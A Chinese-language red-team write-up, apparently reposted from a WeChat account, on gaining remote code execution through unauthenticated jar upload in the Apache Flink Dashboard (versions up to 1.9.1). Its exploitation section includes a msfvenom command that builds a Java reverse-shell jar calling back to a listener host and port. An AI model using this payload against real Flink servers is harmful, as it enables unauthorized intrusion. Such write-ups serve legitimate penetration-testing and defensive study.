Apache flink任意jar包上传导致RCE实战

写在前面

    Flink出现的概率不是很高，目前打红队就两个项目遇到过，可以RCE简单打个卡。

目录

0x01 漏洞成因0x02 影响范围0x03 发现方式0x04 手动利用0x05 参考

漏洞成因

Apache Flink是由Apache软件基金会开发的开源流处理框架，其核心是用Java和Scala编写的分布式流数据流引擎。Flink以数据并行和流水线方式执行任意流数据程序，Flink的流水线运行时系统可以执行批处理和流处理程序。此外，Flink的运行时本身也支持迭代算法的执行。

Apache Flink Dashboard 存在未授权访问，默认无需认证即可访问，攻击者可直接在Apache Flink Dashboard页面中上传任意jar包，从而达到远程代码执行的目的。

影响范围

Apache Flink <= 1.9.1

发现方式

内网常规扫描器很容易发现Flink

手动利用

扫描后发现存在flink的web，可以未授权访问。查看版本号：

Jar包上传位置

生成反弹shell  jar包，反弹到当先已有的机器。

//LHOST填写监听，LPORT为监听端口msfvenom -p java/shell_reverse_tcp LHOST=10.10.10.10 LPORT=8888 -f jar>shell.jar

可能出现的报错：上传jar包报错main method error，需要先开启nc，再上传jar包。报错如下：

正常操作后，成功接收到反弹shell

跟当前机器是同一个网卡，实战没有后续利用。

参考

https://blog.csdn.net/weixin_42181573/article/details/120012495

写在最后

    本人坚决反对利用文章内容进行恶意攻击行为，一切错误行为必将受到惩罚，绿色网络需要靠我们共同维护，推荐大家在了解技术原理的前提下，更好地维护个人信息安全、企业安全、国家安全。

    未经授权请勿利用文章中的技术资料对任何计算机系统进行入侵操作。利用此文所提供的信息而造成的直接或间接后果和损失，均由使用者本人负责。

原文始发于微信公众号（云下信安）：Apache flink任意jar包上传导致RCE实战